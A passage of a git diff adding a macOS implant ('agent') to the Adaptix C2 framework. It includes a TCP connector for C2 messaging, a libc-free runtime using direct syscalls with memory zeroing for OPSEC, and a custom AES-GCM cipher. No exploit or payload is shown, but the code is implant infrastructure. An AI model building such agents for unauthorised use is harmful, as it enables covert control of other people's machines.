+int conn_send_msg(connector_t* c, const uint8_t* data, size_t len) {
+ // Write 4-byte big-endian length + data
+ uint8_t header[4] = {
+ (uint8_t)(len >> 24), (uint8_t)(len >> 16),
+ (uint8_t)(len >> 8), (uint8_t)len
+ };
+
+ // Send header
+ size_t total = 0;
+ while (total < 4) {
+ ssize_t n = R_write(c->fd, header + total, 4 - total);
+ if (n <= 0) return -1;
+ total += (size_t)n;
+ }
+
+ // Send data
+ total = 0;
+ while (total < len) {
+ ssize_t n = R_write(c->fd, data + total, len - total);
+ if (n <= 0) return -1;
+ total += (size_t)n;
+ }
+
+ return 0;
+}
+
+int conn_discard(connector_t* c, size_t size) {
+ uint8_t tmp[1024];
+ size_t remaining = size;
+ while (remaining > 0) {
+ size_t chunk = remaining < sizeof(tmp) ? remaining : sizeof(tmp);
+ if (conn_read_exact(c, tmp, chunk) != 0) return -1;
+ remaining -= chunk;
+ }
+ return 0;
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.h
new file mode 100644
index 000000000..8c255f4c4
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.h
@@ -0,0 +1,36 @@
+#ifndef CONNECTOR_H
+#define CONNECTOR_H
+
+#include
+#include
+
+/// TCP connector for C2 communication
+/// Protocol: [4-byte BE length][payload]
+/// Matches Go's functions.SendMsg/RecvMsg
+
+typedef struct {
+ int fd;
+} connector_t;
+
+// Connect to address "host:port" via TCP
+// Returns 0 on success, -1 on failure
+int conn_open(connector_t* c, const char* address);
+
+// Close connection
+void conn_close(connector_t* c);
+
+// Read exactly `size` bytes
+int conn_read_exact(connector_t* c, uint8_t* buf, size_t size);
+
+// Receive a length-prefixed message
+// Allocates buffer, sets *data and *len
+// Caller must free *data with ax_free(*data, *len)
+int conn_recv_msg(connector_t* c, uint8_t** data, size_t* len);
+
+// Send a length-prefixed message
+int conn_send_msg(connector_t* c, const uint8_t* data, size_t len);
+
+// Read and discard `size` bytes (for banner)
+int conn_discard(connector_t* c, size_t size);
+
+#endif // CONNECTOR_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.c
new file mode 100644
index 000000000..e595e1693
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.c
@@ -0,0 +1,306 @@
+#include "crt.h"
+#include "types.h"
+
+/// ARM64 macOS direct syscalls
+/// BSD syscall convention: x16 = syscall number (0x2000000 | bsd_number)
+/// x0-x5 = arguments, result in x0, carry flag set on error
+
+#define SYS_exit 0x2000001
+#define SYS_read 0x2000003
+#define SYS_write 0x2000004
+#define SYS_open 0x2000005
+#define SYS_close 0x2000006
+#define SYS_mmap 0x20000C5 // 197
+#define SYS_munmap 0x2000049 // 73
+
+static inline long raw_syscall6(long number, long a0, long a1, long a2, long a3, long a4, long a5) {
+ register long x16 __asm__("x16") = number;
+ register long x0 __asm__("x0") = a0;
+ register long x1 __asm__("x1") = a1;
+ register long x2 __asm__("x2") = a2;
+ register long x3 __asm__("x3") = a3;
+ register long x4 __asm__("x4") = a4;
+ register long x5 __asm__("x5") = a5;
+ __asm__ volatile(
+ "svc #0x80"
+ : "+r"(x0)
+ : "r"(x16), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5)
+ : "memory", "cc"
+ );
+ return x0;
+}
+
+static inline long raw_syscall3(long number, long a0, long a1, long a2) {
+ return raw_syscall6(number, a0, a1, a2, 0, 0, 0);
+}
+
+static inline long raw_syscall1(long number, long a0) {
+ return raw_syscall6(number, a0, 0, 0, 0, 0, 0);
+}
+
+/// ---- Memory allocation via mmap/munmap ----
+
+#define MAP_PRIVATE 0x02
+#define MAP_ANONYMOUS 0x1000 // macOS: MAP_ANON = 0x1000
+#define PROT_READ 0x01
+#define PROT_WRITE 0x02
+
+// Allocation header: store size for freeing
+typedef struct {
+ size_t total_size;
+} alloc_header_t;
+
+#define HEADER_SIZE ((sizeof(alloc_header_t) + 15) & ~15) // 16-byte aligned
+
+void* ax_malloc(size_t size) {
+ if (size == 0) return (void*)0;
+
+ size_t total = HEADER_SIZE + size;
+ // Round up to page size for clean munmap on macOS
+ size_t page_total = (total + 4095) & ~4095UL;
+ // mmap(NULL, page_total, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
+ long result = raw_syscall6(SYS_mmap, 0, (long)page_total, PROT_READ | PROT_WRITE,
+ MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ if (result < 0 || result == 0)
+ return (void*)0;
+
+ alloc_header_t* header = (alloc_header_t*)result;
+ header->total_size = page_total;
+ return (void*)((uint8_t*)result + HEADER_SIZE);
+}
+
+void ax_free(void* ptr, size_t size) {
+ (void)size;
+ if (!ptr) return;
+ alloc_header_t* header = (alloc_header_t*)((uint8_t*)ptr - HEADER_SIZE);
+ size_t total = header->total_size;
+ // Sanity check: total_size must be page-aligned and reasonable
+ if (total == 0 || (total & 4095) != 0 || total > (1UL << 30)) {
+ // Header corrupted — skip memset, just munmap with page-aligned size
+ total = ((HEADER_SIZE + size) + 4095) & ~4095UL;
+ } else {
+ // Zero memory before freeing (OPSEC)
+ ax_memset(ptr, 0, total - HEADER_SIZE);
+ }
+ raw_syscall3(SYS_munmap, (long)header, (long)total, 0);
+}
+
+void* ax_realloc(void* ptr, size_t old_size, size_t new_size) {
+ if (!ptr) return ax_malloc(new_size);
+ if (new_size == 0) {
+ ax_free(ptr, old_size);
+ return (void*)0;
+ }
+
+ void* new_ptr = ax_malloc(new_size);
+ if (!new_ptr) return (void*)0;
+
+ size_t copy_size = old_size < new_size ? old_size : new_size;
+ ax_memcpy(new_ptr, ptr, copy_size);
+ ax_free(ptr, old_size);
+ return new_ptr;
+}
+
+/// ---- String/memory functions ----
+
+void* ax_memset(void* dst, int val, size_t n) {
+ uint8_t* d = (uint8_t*)dst;
+ while (n--) *d++ = (uint8_t)val;
+ return dst;
+}
+
+void* ax_memcpy(void* dst, const void* src, size_t n) {
+ uint8_t* d = (uint8_t*)dst;
+ const uint8_t* s = (const uint8_t*)src;
+ while (n--) *d++ = *s++;
+ return dst;
+}
+
+void* ax_memmove(void* dst, const void* src, size_t n) {
+ uint8_t* d = (uint8_t*)dst;
+ const uint8_t* s = (const uint8_t*)src;
+ if (d < s) {
+ while (n--) *d++ = *s++;
+ } else {
+ d += n;
+ s += n;
+ while (n--) *--d = *--s;
+ }
+ return dst;
+}
+
+int ax_memcmp(const void* a, const void* b, size_t n) {
+ const uint8_t* pa = (const uint8_t*)a;
+ const uint8_t* pb = (const uint8_t*)b;
+ while (n--) {
+ if (*pa != *pb) return *pa - *pb;
+ pa++;
+ pb++;
+ }
+ return 0;
+}
+
+size_t ax_strlen(const char* s) {
+ const char* p = s;
+ while (*p) p++;
+ return (size_t)(p - s);
+}
+
+int ax_strcmp(const char* a, const char* b) {
+ while (*a && (*a == *b)) { a++; b++; }
+ return *(unsigned char*)a - *(unsigned char*)b;
+}
+
+int ax_strncmp(const char* a, const char* b, size_t n) {
+ while (n && *a && (*a == *b)) { a++; b++; n--; }
+ if (n == 0) return 0;
+ return *(unsigned char*)a - *(unsigned char*)b;
+}
+
+char* ax_strcpy(char* dst, const char* src) {
+ char* d = dst;
+ while ((*d++ = *src++));
+ return dst;
+}
+
+char* ax_strncpy(char* dst, const char* src, size_t n) {
+ char* d = dst;
+ while (n && (*d++ = *src++)) n--;
+ while (n--) *d++ = '\0';
+ return dst;
+}
+
+char* ax_strcat(char* dst, const char* src) {
+ char* d = dst + ax_strlen(dst);
+ while ((*d++ = *src++));
+ return dst;
+}
+
+char* ax_strstr(const char* haystack, const char* needle) {
+ if (!*needle) return (char*)haystack;
+ size_t nlen = ax_strlen(needle);
+ while (*haystack) {
+ if (ax_strncmp(haystack, needle, nlen) == 0)
+ return (char*)haystack;
+ haystack++;
+ }
+ return (char*)0;
+}
+
+char* ax_strchr(const char* s, int c) {
+ while (*s) {
+ if (*s == (char)c) return (char*)s;
+ s++;
+ }
+ if (c == '\0') return (char*)s;
+ return (char*)0;
+}
+
+/// ---- Integer conversion ----
+
+int ax_atoi(const char* s) {
+ int result = 0, sign = 1;
+ while (*s == ' ') s++;
+ if (*s == '-') { sign = -1; s++; }
+ else if (*s == '+') { s++; }
+ while (*s >= '0' && *s <= '9') {
+ result = result * 10 + (*s - '0');
+ s++;
+ }
+ return sign * result;
+}
+
+int ax_hextoi(const char* s) {
+ unsigned int result = 0;
+ while (*s == ' ') s++;
+ if (s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) s += 2;
+ while (1) {
+ char c = *s;
+ if (c >= '0' && c <= '9') result = (result << 4) | (unsigned)(c - '0');
+ else if (c >= 'a' && c <= 'f') result = (result << 4) | (unsigned)(c - 'a' + 10);
+ else if (c >= 'A' && c <= 'F') result = (result << 4) | (unsigned)(c - 'A' + 10);
+ else break;
+ s++;
+ }
+ return (int)result;
+}
+
+void ax_itoa(int val, char* buf, int base) {
+ char tmp[32];
+ int i = 0, neg = 0;
+
+ if (val < 0 && base == 10) {
+ neg = 1;
+ val = -val;
+ }
+
+ unsigned int uval = (unsigned int)val;
+ do {
+ int digit = uval % base;
+ tmp[i++] = digit < 10 ? '0' + digit : 'a' + digit - 10;
+ uval /= base;
+ } while (uval > 0);
+
+ if (neg) tmp[i++] = '-';
+
+ int j = 0;
+ while (i > 0) buf[j++] = tmp[--i];
+ buf[j] = '\0';
+}
+
+/// ---- Random ----
+
+int ax_random_bytes(void* buf, size_t len) {
+ // Open /dev/urandom
+ long fd = raw_syscall3(SYS_open, (long)"/dev/urandom", 0 /* O_RDONLY */, 0);
+ if (fd < 0) return -1;
+
+ size_t total = 0;
+ while (total < len) {
+ long n = raw_syscall3(SYS_read, fd, (long)((uint8_t*)buf + total), (long)(len - total));
+ if (n <= 0) {
+ raw_syscall1(SYS_close, fd);
+ return -1;
+ }
+ total += n;
+ }
+ raw_syscall1(SYS_close, fd);
+ return 0;
+}
+
+/// ---- Buffer (growable byte array) ----
+
+int buf_init(buffer_t* b, size_t initial_cap) {
+ b->data = (uint8_t*)ax_malloc(initial_cap);
+ if (!b->data) return -1;
+ b->len = 0;
+ b->cap = initial_cap;
+ return 0;
+}
+
+int buf_append(buffer_t* b, const void* data, size_t len) {
+ if (b->len + len > b->cap) {
+ size_t new_cap = b->cap * 2;
+ while (new_cap < b->len + len) new_cap *= 2;
+ uint8_t* new_data = (uint8_t*)ax_realloc(b->data, b->cap, new_cap);
+ if (!new_data) return -1;
+ b->data = new_data;
+ b->cap = new_cap;
+ }
+ ax_memcpy(b->data + b->len, data, len);
+ b->len += len;
+ return 0;
+}
+
+void buf_free(buffer_t* b) {
+ if (b->data) {
+ ax_free(b->data, b->cap);
+ b->data = (uint8_t*)0;
+ }
+ b->len = 0;
+ b->cap = 0;
+}
+
+void buf_reset(buffer_t* b) {
+ b->len = 0;
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.h
new file mode 100644
index 000000000..8321a62d3
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.h
@@ -0,0 +1,36 @@
+#ifndef CRT_H
+#define CRT_H
+
+#include
+#include
+
+/// Minimal custom runtime — no libc dependency for core operations
+/// Memory allocation uses mmap/munmap directly
+
+void* ax_malloc(size_t size);
+void ax_free(void* ptr, size_t size);
+void* ax_realloc(void* ptr, size_t old_size, size_t new_size);
+
+void* ax_memset(void* dst, int val, size_t n);
+void* ax_memcpy(void* dst, const void* src, size_t n);
+void* ax_memmove(void* dst, const void* src, size_t n);
+int ax_memcmp(const void* a, const void* b, size_t n);
+
+size_t ax_strlen(const char* s);
+int ax_strcmp(const char* a, const char* b);
+int ax_strncmp(const char* a, const char* b, size_t n);
+char* ax_strcpy(char* dst, const char* src);
+char* ax_strncpy(char* dst, const char* src, size_t n);
+char* ax_strcat(char* dst, const char* src);
+char* ax_strstr(const char* haystack, const char* needle);
+char* ax_strchr(const char* s, int c);
+
+/// Integer conversion
+int ax_atoi(const char* s);
+int ax_hextoi(const char* s);
+void ax_itoa(int val, char* buf, int base);
+
+/// Random bytes (reads /dev/urandom)
+int ax_random_bytes(void* buf, size_t len);
+
+#endif // CRT_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.c
new file mode 100644
index 000000000..a9d1156aa
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.c
@@ -0,0 +1,417 @@
+#include "crypt.h"
+#include "crt.h"
+
+/// ---- AES-128 Core ----
+
+static const uint8_t aes_sbox[256] = {
+ 0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76,
+ 0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0,
+ 0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15,
+ 0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75,
+ 0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84,
+ 0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF,
+ 0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8,
+ 0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2,
+ 0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73,
+ 0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB,
+ 0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79,
+ 0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08,
+ 0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A,
+ 0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E,
+ 0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF,
+ 0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16
+};
+
+static const uint8_t aes_rcon[10] = {
+ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36
+};
+
+#define AES128_ROUNDS 10
+#define AES128_NK 4
+#define AES128_NB 4
+
+// Key expansion for AES-128: 11 round keys (44 words = 176 bytes)
+static void aes128_key_expand(const uint8_t* key, uint8_t* rk) {
+ ax_memcpy(rk, key, 16);
+
+ for (int i = AES128_NK; i < AES128_NB * (AES128_ROUNDS + 1); i++) {
+ uint8_t temp[4];
+ temp[0] = rk[(i-1)*4 + 0];
+ temp[1] = rk[(i-1)*4 + 1];
+ temp[2] = rk[(i-1)*4 + 2];
+ temp[3] = rk[(i-1)*4 + 3];
+
+ if (i % AES128_NK == 0) {
+ // RotWord
+ uint8_t t = temp[0];
+ temp[0] = temp[1]; temp[1] = temp[2];
+ temp[2] = temp[3]; temp[3] = t;
+ // SubWord
+ temp[0] = aes_sbox[temp[0]]; temp[1] = aes_sbox[temp[1]];
+ temp[2] = aes_sbox[temp[2]]; temp[3] = aes_sbox[temp[3]];
+ // XOR rcon
+ temp[0] ^= aes_rcon[i/AES128_NK - 1];
+ }
+
+ rk[i*4 + 0] = rk[(i-AES128_NK)*4 + 0] ^ temp[0];
+ rk[i*4 + 1] = rk[(i-AES128_NK)*4 + 1] ^ temp[1];
+ rk[i*4 + 2] = rk[(i-AES128_NK)*4 + 2] ^ temp[2];
+ rk[i*4 + 3] = rk[(i-AES128_NK)*4 + 3] ^ temp[3];
+ }
+}
+
+// GF(2^8) multiplication (for MixColumns)
+static uint8_t gf_mul(uint8_t a, uint8_t b) {
+ uint8_t result = 0;
+ while (b) {
+ if (b & 1) result ^= a;
+ uint8_t hi = a & 0x80;
+ a <<= 1;
+ if (hi) a ^= 0x1B; // reduction polynomial
+ b >>= 1;
+ }
+ return result;
+}
+
+// AES state operations (in-place on 16-byte block)
+static void sub_bytes(uint8_t* state) {
+ for (int i = 0; i < 16; i++)
+ state[i] = aes_sbox[state[i]];
+}
+
+static void shift_rows(uint8_t* s) {
+ uint8_t t;
+ // row 1: shift left 1
+ t = s[1]; s[1] = s[5]; s[5] = s[9]; s[9] = s[13]; s[13] = t;
+ // row 2: shift left 2
+ t = s[2]; s[2] = s[10]; s[10] = t; t = s[6]; s[6] = s[14]; s[14] = t;
+ // row 3: shift left 3
+ t = s[15]; s[15] = s[11]; s[11] = s[7]; s[7] = s[3]; s[3] = t;
+}
+
+static void mix_columns(uint8_t* s) {
+ for (int c = 0; c < 4; c++) {
+ int i = c * 4;
+ uint8_t a0 = s[i], a1 = s[i+1], a2 = s[i+2], a3 = s[i+3];
+ s[i] = gf_mul(a0,2) ^ gf_mul(a1,3) ^ a2 ^ a3;
+ s[i+1] = a0 ^ gf_mul(a1,2) ^ gf_mul(a2,3) ^ a3;
+ s[i+2] = a0 ^ a1 ^ gf_mul(a2,2) ^ gf_mul(a3,3);
+ s[i+3] = gf_mul(a0,3) ^ a1 ^ a2 ^ gf_mul(a3,2);
+ }
+}
+
+static void add_round_key(uint8_t* state, const uint8_t* rk, int round) {
+ for (int i = 0; i < 16; i++)
+ state[i] ^= rk[round * 16 + i];
+}
+
+// Encrypt one 16-byte block
+static void aes128_encrypt_block(const uint8_t* in, uint8_t* out, const uint8_t* rk) {
+ uint8_t state[16];
+ ax_memcpy(state, in, 16);
+
+ add_round_key(state, rk, 0);
+
+ for (int round = 1; round < AES128_ROUNDS; round++) {
+ sub_bytes(state);
+ shift_rows(state);
+ mix_columns(state);
+ add_round_key(state, rk, round);
+ }
+
+ sub_bytes(state);
+ shift_rows(state);
+ add_round_key(state, rk, AES128_ROUNDS);
+
+ ax_memcpy(out, state, 16);
+}
+
+/// ---- GCM Mode ----
+
+// GF(2^128) multiplication for GHASH
+// Using bit-by-bit method (simple, ~200 iterations per multiply)
+static void ghash_mul(uint8_t* x, const uint8_t* h) {
+ uint8_t z[16] = {0};
+ uint8_t v[16];
+ ax_memcpy(v, h, 16);
+
+ for (int i = 0; i < 128; i++) {
+ if (x[i / 8] & (0x80 >> (i % 8))) {
+ for (int j = 0; j < 16; j++) z[j] ^= v[j];
+ }
+ // v = v >> 1 in GF(2^128) with reduction R = 0xE1000...0
+ uint8_t carry = v[15] & 1;
+ for (int j = 15; j > 0; j--)
+ v[j] = (v[j] >> 1) | (v[j-1] << 7);
+ v[0] >>= 1;
+ if (carry) v[0] ^= 0xE1;
+ }
+
+ ax_memcpy(x, z, 16);
+}
+
+// GHASH: process AAD and ciphertext
+static void ghash(const uint8_t* h, const uint8_t* data, size_t data_len, uint8_t* out) {
+ ax_memset(out, 0, 16);
+ size_t blocks = data_len / 16;
+ for (size_t i = 0; i < blocks; i++) {
+ for (int j = 0; j < 16; j++)
+ out[j] ^= data[i * 16 + j];
+ ghash_mul(out, h);
+ }
+ // Handle partial last block
+ size_t rem = data_len % 16;
+ if (rem > 0) {
+ for (size_t j = 0; j < rem; j++)
+ out[j] ^= data[blocks * 16 + j];
+ ghash_mul(out, h);
+ }
+}
+
+// Increment counter (last 4 bytes, big-endian)
+static void inc32(uint8_t* counter) {
+ for (int i = 15; i >= 12; i--) {
+ if (++counter[i]) break;
+ }
+}
+
+// AES-CTR: XOR data with AES(counter) stream
+static void aes_ctr(const uint8_t* rk, uint8_t* counter,
+ const uint8_t* in, uint8_t* out, size_t len) {
+ uint8_t keystream[16];
+ size_t offset = 0;
+ while (offset < len) {
+ aes128_encrypt_block(counter, keystream, rk);
+ inc32(counter);
+ size_t chunk = len - offset;
+ if (chunk > 16) chunk = 16;
+ for (size_t i = 0; i < chunk; i++)
+ out[offset + i] = in[offset + i] ^ keystream[i];
+ offset += chunk;
+ }
+}
+
+/// ---- Public API ----
+
+uint8_t* aes128_gcm_encrypt(const uint8_t* plaintext, size_t plaintext_len,
+ const uint8_t* key, size_t* out_len) {
+ uint8_t rk[176]; // 11 round keys × 16 bytes
+ aes128_key_expand(key, rk);
+
+ // H = AES_K(0^128)
+ uint8_t h[16] = {0};
+ aes128_encrypt_block(h, h, rk);
+
+ // Generate random nonce (12 bytes)
+ uint8_t nonce[GCM_NONCE_SIZE];
+ ax_random_bytes(nonce, GCM_NONCE_SIZE);
+
+ // J0 = nonce || 0x00000001
+ uint8_t j0[16] = {0};
+ ax_memcpy(j0, nonce, GCM_NONCE_SIZE);
+ j0[15] = 1;
+
+ // Counter starts at J0 + 1 for CTR encryption
+ uint8_t counter[16];
+ ax_memcpy(counter, j0, 16);
+ inc32(counter);
+
+ // Allocate output: nonce + ciphertext + tag
+ *out_len = GCM_NONCE_SIZE + plaintext_len + GCM_TAG_SIZE;
+ uint8_t* output = (uint8_t*)ax_malloc(*out_len);
+ if (!output) return (uint8_t*)0;
+
+ // Copy nonce to output
+ ax_memcpy(output, nonce, GCM_NONCE_SIZE);
+
+ // Encrypt plaintext to output + nonce_size
+ uint8_t* ct = output + GCM_NONCE_SIZE;
+ if (plaintext_len > 0) {
+ aes_ctr(rk, counter, plaintext, ct, plaintext_len);
+ }
+
+ // Compute GHASH(AAD || ciphertext || lengths)
+ // No AAD in our protocol, so GHASH just covers ciphertext + length block
+ uint8_t ghash_out[16] = {0};
+
+ // Process ciphertext blocks
+ size_t ct_blocks = plaintext_len / 16;
+ for (size_t i = 0; i < ct_blocks; i++) {
+ for (int j = 0; j < 16; j++)
+ ghash_out[j] ^= ct[i * 16 + j];
+ ghash_mul(ghash_out, h);
+ }
+ size_t ct_rem = plaintext_len % 16;
+ if (ct_rem > 0) {
+ for (size_t j = 0; j < ct_rem; j++)
+ ghash_out[j] ^= ct[ct_blocks * 16 + j];
+ ghash_mul(ghash_out, h);
+ }
+
+ // Final length block: [AAD_len_bits (64-bit BE)][CT_len_bits (64-bit BE)]
+ uint8_t len_block[16] = {0};
+ uint64_t ct_bits = (uint64_t)plaintext_len * 8;
+ // AAD length = 0 (first 8 bytes stay zero)
+ len_block[8] = (uint8_t)(ct_bits >> 56);
+ len_block[9] = (uint8_t)(ct_bits >> 48);
+ len_block[10] = (uint8_t)(ct_bits >> 40);
+ len_block[11] = (uint8_t)(ct_bits >> 32);
+ len_block[12] = (uint8_t)(ct_bits >> 24);
+ len_block[13] = (uint8_t)(ct_bits >> 16);
+ len_block[14] = (uint8_t)(ct_bits >> 8);
+ len_block[15] = (uint8_t)(ct_bits);
+ for (int j = 0; j < 16; j++)
+ ghash_out[j] ^= len_block[j];
+ ghash_mul(ghash_out, h);
+
+ // Tag = GHASH ^ AES_K(J0)
+ uint8_t tag[16];
+ aes128_encrypt_block(j0, tag, rk);
+ for (int j = 0; j < 16; j++)
+ tag[j] ^= ghash_out[j];
+
+ // Append tag
+ ax_memcpy(output + GCM_NONCE_SIZE + plaintext_len, tag, GCM_TAG_SIZE);
+
+ // Zero sensitive data
+ ax_memset(rk, 0, sizeof(rk));
+ ax_memset(h, 0, sizeof(h));
+
+ return output;
+}
+
+uint8_t* aes128_gcm_decrypt(const uint8_t* data, size_t data_len,
+ const uint8_t* key, size_t* out_len) {
+ if (data_len < GCM_NONCE_SIZE + GCM_TAG_SIZE)
+ return (uint8_t*)0;
+
+ size_t ct_len = data_len - GCM_NONCE_SIZE - GCM_TAG_SIZE;
+ const uint8_t* nonce = data;
+ const uint8_t* ct = data + GCM_NONCE_SIZE;
+ const uint8_t* tag = data + GCM_NONCE_SIZE + ct_len;
+
+ uint8_t rk[176];
+ aes128_key_expand(key, rk);
+
+ // H = AES_K(0^128)
+ uint8_t h[16] = {0};
+ aes128_encrypt_block(h, h, rk);
+
+ // J0 = nonce || 0x00000001
+ uint8_t j0[16] = {0};
+ ax_memcpy(j0, nonce, GCM_NONCE_SIZE);
+ j0[15] = 1;
+
+ // Verify tag first (before decryption)
+ uint8_t ghash_out[16] = {0};
+
+ size_t ct_blocks = ct_len / 16;
+ for (size_t i = 0; i < ct_blocks; i++) {
+ for (int j = 0; j < 16; j++)
+ ghash_out[j] ^= ct[i * 16 + j];
+ ghash_mul(ghash_out, h);
+ }
+ size_t ct_rem = ct_len % 16;
+ if (ct_rem > 0) {
+ for (size_t j = 0; j < ct_rem; j++)
+ ghash_out[j] ^= ct[ct_blocks * 16 + j];
+ ghash_mul(ghash_out, h);
+ }
+
+ uint8_t len_block[16] = {0};
+ uint64_t ct_bits = (uint64_t)ct_len * 8;
+ len_block[8] = (uint8_t)(ct_bits >> 56);
+ len_block[9] = (uint8_t)(ct_bits >> 48);
+ len_block[10] = (uint8_t)(ct_bits >> 40);
+ len_block[11] = (uint8_t)(ct_bits >> 32);
+ len_block[12] = (uint8_t)(ct_bits >> 24);
+ len_block[13] = (uint8_t)(ct_bits >> 16);
+ len_block[14] = (uint8_t)(ct_bits >> 8);
+ len_block[15] = (uint8_t)(ct_bits);
+ for (int j = 0; j < 16; j++)
+ ghash_out[j] ^= len_block[j];
+ ghash_mul(ghash_out, h);
+
+ uint8_t computed_tag[16];
+ aes128_encrypt_block(j0, computed_tag, rk);
+ for (int j = 0; j < 16; j++)
+ computed_tag[j] ^= ghash_out[j];
+
+ // Constant-time tag comparison (anti-timing)
+ uint8_t diff = 0;
+ for (int j = 0; j < GCM_TAG_SIZE; j++)
+ diff |= computed_tag[j] ^ tag[j];
+
+ if (diff != 0) {
+ ax_memset(rk, 0, sizeof(rk));
+ ax_memset(h, 0, sizeof(h));
+ return (uint8_t*)0; // Authentication failed
+ }
+
+ // Decrypt
+ *out_len = ct_len;
+ uint8_t* plaintext = (uint8_t*)ax_malloc(ct_len > 0 ? ct_len : 1);
+ if (!plaintext) {
+ ax_memset(rk, 0, sizeof(rk));
+ return (uint8_t*)0;
+ }
+
+ uint8_t counter[16];
+ ax_memcpy(counter, j0, 16);
+ inc32(counter);
+
+ if (ct_len > 0) {
+ aes_ctr(rk, counter, ct, plaintext, ct_len);
+ }
+
+ ax_memset(rk, 0, sizeof(rk));
+ ax_memset(h, 0, sizeof(h));
+
+ return plaintext;
+}
+
+/// ---- Public AES-CTR wrappers (for tunnel/terminal) ----
+
+void aes128_expand_key(const uint8_t* key, uint8_t* round_keys) {
+ aes128_key_expand(key, round_keys);
+}
+
+void aes128_ctr_init(aes128_ctr_ctx_t* ctx, const uint8_t* key, const uint8_t* iv) {
+ aes128_key_expand(key, ctx->round_keys);
+ for (int i = 0; i < 16; i++) ctx->counter[i] = iv[i];
+ ctx->ks_offset = 16; // force generation on first use (no cached keystream)
+ for (int i = 0; i < 16; i++) ctx->keystream[i] = 0;
+}
+
+void aes128_ctr_process(aes128_ctr_ctx_t* ctx,
+ const uint8_t* in, uint8_t* out, size_t len) {
+ size_t pos = 0;
+
+ // Consume any remaining bytes from the current keystream block
+ while (pos < len && ctx->ks_offset < 16) {
+ out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset];
+ ctx->ks_offset++;
+ pos++;
+ }
+
+ // Process full blocks
+ while (pos + 16 <= len) {
+ aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys);
+ inc32(ctx->counter);
+ for (int i = 0; i < 16; i++)
+ out[pos + i] = in[pos + i] ^ ctx->keystream[i];
+ pos += 16;
+ }
+
+ // Handle final partial block (cache remainder for next call)
+ if (pos < len) {
+ aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys);
+ inc32(ctx->counter);
+ ctx->ks_offset = 0;
+ while (pos < len) {
+ out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset];
+ ctx->ks_offset++;
+ pos++;
+ }
+ }
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.h
new file mode 100644
index 000000000..0de8400dd
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.h
@@ -0,0 +1,54 @@
+#ifndef CRYPT_H
+#define CRYPT_H
+
+#include
+#include
+
+/// AES-128-GCM encryption/decryption
+/// Format: [nonce 12 bytes][ciphertext][tag 16 bytes]
+/// Key: 16 bytes (AES-128)
+/// Matches Go's crypto/aes + cipher.NewGCM with 16-byte key
+
+#define AES_KEY_SIZE 16
+#define AES_BLOCK_SIZE 16
+#define GCM_NONCE_SIZE 12
+#define GCM_TAG_SIZE 16
+
+// Encrypt: allocates output buffer [nonce][ciphertext][tag]
+// Returns output and sets *out_len. Caller must free output.
+uint8_t* aes128_gcm_encrypt(const uint8_t* plaintext, size_t plaintext_len,
+ const uint8_t* key,
+ size_t* out_len);
+
